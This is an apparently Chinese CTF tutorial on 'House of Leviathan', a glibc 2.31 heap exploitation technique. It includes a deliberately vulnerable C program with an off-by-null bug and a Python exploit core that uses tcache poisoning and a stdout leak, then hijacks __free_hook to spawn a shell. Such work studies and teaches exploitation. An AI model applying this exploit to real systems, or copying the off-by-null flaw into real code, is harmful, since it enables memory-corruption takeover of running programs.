在64位较高版本ptmalloc2堆利用中,如果我们可以至少做到如下几点:
- 存在分配堆块的函数
add
,可以被调用若干次,每次能分配大/小堆块。 - 存在释放上述已分配堆块的函数
delete
,可以被调用若干次。 add
函数不会在输入数据末尾引入\0
。add
函数可以将下一个堆块的PREV_INUSE
位置零。add
函数保留堆块上的脏内容,也即不初始化堆块数据。
那么我们可以采用House of Leviathan的攻击手法,在不依赖于show
函数的情况下利用unlink构造堆块的重叠。
House of Leviathan是一种主要基于Large Bin堆块中fd_nextsize
与bk_nextsize
的利用手法。思路如下:
- 布置Large Bin某一项的内容为:
且fd: LargeBin[idx] -> Chunk1 -> Chunk2 -> LargeBin[idx] bk: LargeBin[idx] -> Chunk2 -> Chunk1 -> LargeBin[idx] fd_nextsize: Chunk1 -> Chunk2 -> Chunk1 bk_nextsize: Chunk1 -> Chunk2 -> Chunk1
Chunk1[0x20:0x28]
与Chunk2[0x20:0x28]
全为零。 - 分配一个实际大小超过
0x30
的堆块Chunk2_
,将Chunk2
切分一部分出来。 - 释放Chunk2后紧邻的已分配堆块,并使合并后的堆块重新进入Large Bin,使Large Bin的布局回到与第一步类似的状态。
- 分配一个堆块,使得
Chunk1
从Large Bin中脱链供我们使用。 - 在先前的几步中预先篡改好
Chunk2_
的开头几个字节,使得Chunk2_->fd == 0
,Chunk2_->bk == fake_size
,Chunk2_->fd_nextsize == Chunk1 - 0x8
。篡改好Chunk1
的开头几个字节,使得Chunk1->fd == Chunk2_->fd
。 - 此时
&Chunk2_->fd
就是一个合法的假堆块FakeChunk
了,它满足
伪造好FakeChunk->fd->bk == FakeChunk && FakeChunk->bk->fd == FakeChunk && FakeChunk->fd_nextsize == 0
fake_size
的值,在远处(FakeChunk + fake_size
处)预先布置一个堆块Chunk3
,构造Chunk3->prev_size == fake_size
,通过add
函数的置零漏洞将Chunk3
的PREV_INUSE
位置零。 - 释放
Chunk3
,触发合法的向后合并,在FakeChunk
至Chunk3
之间可以构造重叠的堆块,进一步地篡改重叠堆块的相关指针来完成后续利用(如通过篡改文件结构体泄露libc基址、任意读写等)。
House of Leviathan的名字取自于对大堆块的利用。
- 例子 - GLIBC 2.31
以GLIBC 2.31环境中的下题为例,
// pwn.c
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <unistd.h>
#define NCHUNKS 15
char* chunks[NCHUNKS] = {0,};
size_t sizes[NCHUNKS] = {0,};
void init() {
setvbuf(stderr, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}
void menu() {
printf(
"1. Add\n"
"2. Delete\n"
"3. Bye~\n"
">>> "
);
}
void add() {
unsigned int size;
unsigned int i;
for (i=0; i<NCHUNKS; ++i) {
if (!chunks[i]) break;
}
if (i >= NCHUNKS) exit(1);
printf("Size: ");
scanf("%u", &size);
if (size > 0x550) exit(1);
chunks[i] = (char*)malloc(size);
sizes[i] = (size_t)size;
printf("Content: ");
char buf;
for (unsigned int j=0; j<size; ++j) {
if (read(0, buf, 1) < 0) exit(-1);
if (buf == '\n') break;
chunks[i][j] = buf;
}
chunks[i][size] = 0;
}
void delete() {
printf("Index: ");
unsigned int index;
scanf("%u", &index);
if (index >= NCHUNKS) exit(1);
if (!chunks[index]) exit(1);
free(chunks[index]);
chunks[index] = NULL;
sizes[index] = 0;
}
int main() {
init();
int option;
while (1) {
menu();
scanf("%d", &option);
switch (option) {
case 1:
add();
break;
case 2:
delete();
break;
case 3:
exit(0);
default:
puts("Invalid option.");
break;
}
}
return 0;
}
#!/bin/sh
LIBC="/path/to/your/glibc_2.31/libc.so"
LD="/path/to/your/glibc_2.31/ld.so"
gcc -o pwn "$LIBC" pwn.c -z now -fPIE -fstack-protector-all
patchelf --replace-needed libc.so.6 "$LIBC" --set-interpreter "$LD" pwn
本题中我们只需要利用一次off-by-null就可以完成House of Leviathan攻击了。成功构造出堆叠后,利用GLIBC 2.31中tcache bin的特性采用tcache poisoning完成任意写。为了获得libc基址,我们可以篡改_IO_2_1_stdout_
结构体,从而在调用_IO_new_file_overflow
、new_do_write
的过程中泄露从_IO_write_base
开始一直到_IO_write_ptr
的内容。最后再次使用tcache poisoning劫持__free_hook
即可。
exp的核心部分大致如下,我们只需要爆破堆地址的第12~15位以及_IO_2_1_stdout_
地址的第12~15位即可,在发送的任何地址中不包含\n
的情况下成功率为1/256
。
while 1:
try:
getelf()
getio(process)
add(0x490, b'a') # 0
add(0x500, b'a') # 1
add(0x480, b'a') # 2
add(0x410, b'a') # 3
delete(0)
delete(2)
add(0x4f0, b'a') # 0
heap_base_nibble_3 = 3
delta = heap_base_nibble_3 << 12
add(0x410, p64(0) + p64(0x8a1) + p16(delta + 0x2a0 - 0x18)) # 2
delete(3)
add(0x500, b'a') # 3
add(0x490, p16(0xc50 + delta)) # 4
add(0x60, b'a') # 5
add(0x60, b'a') # 6
add(0x50, b'a') # 7
add(0x50, b'a') # 8
delete(6)
delete(5)
add(0x418-0x70-0x60*2, b'\0'*(0x410-0x70-0x60*2) + p64(0x8a0)) # 5
delete(0)
add(0x400, b'a') # 0
add(0x70, p16(libc.sym['_IO_2_1_stdout_'] & 0xffff)) # 6
add(0x60, b'') # 9
add(0x60, p64(0xfbad1800) + p64(0)*3 + b'\0') # 10
set_libc_base(uu64(ru(b'\x7f', timeout=1)[-6:]) - 0x1ec980)
assert libc_base & 0xfff == 0 and libc_base > 0
delete(7)
delete(8)
add(0xe0, b'\0'*0xc0 + p64(libc.sym['__free_hook'])) # 7
add(0x50, b'/bin/sh') # 8
add(0x50, p64(libc.sym['system'])) # 11
delete(8)
itr()
break
except (EOFError, TimeoutError, AssertionError):
die()
continue
- 例子 - GLIBC 2.35
